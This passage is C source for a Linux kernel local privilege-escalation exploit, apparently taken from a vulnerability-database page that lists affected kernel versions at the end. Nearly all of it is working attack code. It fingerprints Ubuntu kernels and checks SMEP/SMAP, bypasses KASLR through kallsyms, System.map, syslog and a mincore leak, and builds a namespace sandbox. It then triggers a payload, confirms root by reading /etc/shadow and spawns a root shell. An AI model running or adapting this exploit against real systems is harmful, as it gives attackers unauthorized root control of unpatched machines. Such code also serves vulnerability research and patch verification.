strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "rebecca"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "rafaela"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "rosa"))
strcpy(&codename[0], "trusty");
if (!strcmp(&codename[0], "sarah"))
strcpy(&codename[0], "xenial");
if (!strcmp(&codename[0], "serena"))
strcpy(&codename[0], "xenial");
if (!strcmp(&codename[0], "sonya"))
strcpy(&codename[0], "xenial");
}
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
strcmp(u.release, kernels[i].version) == 0) {
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
kernel = i;
return;
}
}
dprintf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
#define PROC_CPUINFO_LENGTH 4096
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
char buffer[PROC_CPUINFO_LENGTH];
char* path = "/proc/cpuinfo";
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s)\n", path);
exit(EXIT_FAILURE);
}
int rv = 0;
char* found = memmem(&buffer[0], length, "smep", 4);
if (found != NULL)
rv += 1;
found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL)
rv += 2;
return rv;
}
void check_smep_smap() {
int rv = smap_smep_enabled();
if (rv >= 2) {
dprintf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
#if !ENABLE_SMEP_BYPASS
if (rv >= 1) {
dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
exit(EXIT_FAILURE);
}
#endif
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
bool mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
return false;
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
return false;
}
return true;
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) return 0;
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) return 0;
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
return r;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
return 0;
}
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
return 0;
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
unsigned long get_kernel_addr_syslog() {
unsigned long addr = 0;
char* syslog;
int size;
dprintf("[.] trying syslog...\n");
if (!mmap_syslog(&syslog, &size))
return 0;
if (strcmp("trusty", kernels[kernel].distro) == 0)
addr = get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0)
addr = get_kernel_addr_xenial(syslog, size);
if (!addr)
dprintf("[-] kernel base not found in syslog\n");
return addr;
}
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
char dummy;
char sname[256];
char* name = "startup_64";
char* path = "/proc/kallsyms";
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";
char version[32];
struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize()/sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap()\n");
return 0;
}
int i;
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore()\n");
return 0;
}
int n;
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > 0xffffffff00000000) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
addr = get_kernel_addr_sysmap();
if (addr) return addr;
addr = get_kernel_addr_syslog();
if (addr) return addr;
addr = get_kernel_addr_mincore();
if (addr) return addr;
dprintf("[-] KASLR bypass failed\n");
exit(EXIT_FAILURE);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[!] unprivileged user namespaces are not available\n");
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
dprintf("[-] write_file(/proc/self/set_groups)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
dprintf("[-] write_file(/proc/self/uid_map)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
dprintf("[-] write_file(/proc/self/gid_map)\n");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
dprintf("[-] sched_setaffinity()\n");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
dprintf("[-] system(/sbin/ifconfig lo up)\n");
exit(EXIT_FAILURE);
}
}
void exec_shell() {
int fd;
fd = open("/proc/1/ns/net", O_RDONLY);
if (fd == -1) {
dprintf("error opening /proc/1/ns/net\n");
exit(EXIT_FAILURE);
}
if (setns(fd, CLONE_NEWNET) == -1) {
dprintf("error calling setns\n");
exit(EXIT_FAILURE);
}
system(SHELL);
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
dprintf("[.] checking if we got root\n");
if (!is_root()) {
dprintf("[-] something went wrong =(\n");
return;
}
dprintf("[+] got r00t ^_^\n");
exec_shell();
}
int main(int argc, char** argv) {
if (argc > 1) SHELL = argv[1];
dprintf("[.] starting\n");
dprintf("[.] checking kernel version\n");
detect_kernel();
dprintf("[~] done, version looks good\n");
dprintf("[.] checking SMEP and SMAP\n");
check_smep_smap();
dprintf("[~] done, looks good\n");
dprintf("[.] setting up namespace sandbox\n");
setup_sandbox();
dprintf("[~] done, namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE);
#endif
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
unsigned long payload = (unsigned long)&get_root;
#if ENABLE_SMEP_BYPASS
dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
mmap_stack();
payload = XCHG_EAX_ESP_RET;
dprintf("[~] done, fake stack mmapped\n");
#endif
dprintf("[.] executing payload %lx\n", payload);
oob_execute(payload);
dprintf("[~] done, should be root now\n");
check_root();
return 0;
}
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version From (including) 2.6.15 To (excluding) 3.10.108
Linux>>Linux_kernel >> Version From (including) 3.11 To (excluding) 3.16.47
Linux>>Linux_kernel >> Version From (including) 3.17 To (excluding) 3.18.65
Linux>>Linux_kernel >> Version From (including) 3.19 To (excluding) 4.4.82
Linux>>Linux_kernel >> Version From (including) 4.5 To (excluding) 4.9.43
Linux>>Linux_kernel >> Version From (including) 4.10 To (excluding) 4.12.7
References